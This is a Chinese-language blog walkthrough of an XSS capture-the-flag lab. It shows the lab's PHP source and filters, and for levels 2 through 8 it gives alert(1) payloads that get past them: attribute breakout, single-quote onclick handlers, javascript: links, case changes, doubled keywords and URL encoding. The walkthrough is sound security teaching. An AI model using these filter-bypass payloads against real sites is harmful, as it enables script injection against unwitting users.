当前位置:网站首页>CTF-XSS
CTF-XSS
2022-08-02 14:03:00 【H2223】
环境源码
链接:https://pan.baidu.com/s/1qaSY5PbU8qwgBzbssGv4IA
提取码:6elk
使用phpstudy运行
level2

先写随便写一些字符
<input name="keyword" value="1">
发现字符出现在了双引号中

输入1">发现">逃逸出双引号了
输入1"><script>alert(1)</script><"
<input name="keyword" value="1"><script>alert(1)</script><"">输入在HTML里是这样的
这样<script>alert(1)</script>就逃逸出""和<>了
level3

到第三关,第二关的语句就失效了
看看后端代码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
发现他使用了htmlspecialchars这个函数,htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体
htmlspecialchars(string,flags,character-set,double_encode)
在该函数中的第二个参数规定如何处理引号,默认是只处理双引号,不处理单引号
在代码中的函数没有第二个参数,他没有处理单引号,我们可以用单引号逃逸出来,但<script>标签有<>也会被过滤,可以使用onclick
1'οnclick='alert(1)
level4

第四关对<script>标签有过滤,使用onclick就行
1'οnclick='alert(1)
level5
输入1'οnclick='alert(1)
<input name="keyword" value="1'o_nclick='alert(1)">输入1"><script>alert(1)</script><"
<scr_ipt>alert(1)<"">
<input type="submit" name="submit" value="搜索">
</scr_ipt>分别对on和script有过滤
可以使用a标签和JavaScript伪协议
a"><a href="javascript:alert(1)">aaaaa</a>
level6

查看前端代码
<input name="keyword" value="a">
<a hr_ef="javascript:alert(1)">aaaaa</a>发现href被过滤了
查看源代码
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);发现过滤了很多标签,但没过滤大小写
1"ONCLICK="alert(1)
level7
输入a"><a href="javascript:alert(1)">aaaaa</a>
<a ="java:alert(1)"="">aaaaa</a>发现script直接没了
1"ONCLICK="alert(1)也不行
试试双写
1"OONNCLICK="alert(1)
成功了
level8
这是一个友情链接,要在其中输入javascript:alert(1)
但script被过滤了,双写,大小写都不行
可以使用urlencode编码
javascript:alert(1)
边栏推荐
- VS Code无法安装插件之Unable to install because, the extension '' compatible with current version
- 利用c语言实现对键盘输入的一串字符的各类字符的计数
- Unit 12 associated serialization
- ABP,kendo后台接口,新增,查询
- Unit 6 meet ORM
- C语言初级—判断一个数是不是素数(函数封装)
- [ROS] The difference between roscd and cd
- [ROS]ROS常用工具介绍(待续)
- [ROS](02)创建&编译ROS软件包Package
- 【c】大学生在校学习c语言常见代码
猜你喜欢
随机推荐
8581 Linear linked list inversion
【c】大学生在校学习c语言常见代码
The 2nd China Rust Developers Conference (RustChinaConf 2021~2022) Online Conference Officially Opens Registration
[ROS] The software package of the industrial computer does not compile
Unit 13 Mixing in View Base Classes
【ROS】编译软件包packages遇到进度缓慢或卡死,使用swap
使用云GPU+pycharm训练模型实现后台跑程序、自动保存训练结果、服务器自动关机
MarkDown syntax summary
C语言一级指针(补)
Building and getting started with the Flask framework
[ROS] Introduction to common tools in ROS (to be continued)
动手学ocr(一)
Implementation of redis distributed lock and watchdog
A little thought about password encryption
十分钟带你入门Nodejs
Visual Studio配置OpenCV之后,提示:#include<opencv2/opencv.hpp>无法打开源文件
uniapp小程序禁止遮罩弹窗下的页面滚动的完美解决办法
drf routing component Routers
Camera Hal(Hal3)层修改Preview流
[ROS] (02) Create & compile ROS package Package

![[ROS] The difference between roscd and cd](/img/a8/a1347568170821e8f186091b93e52a.png)







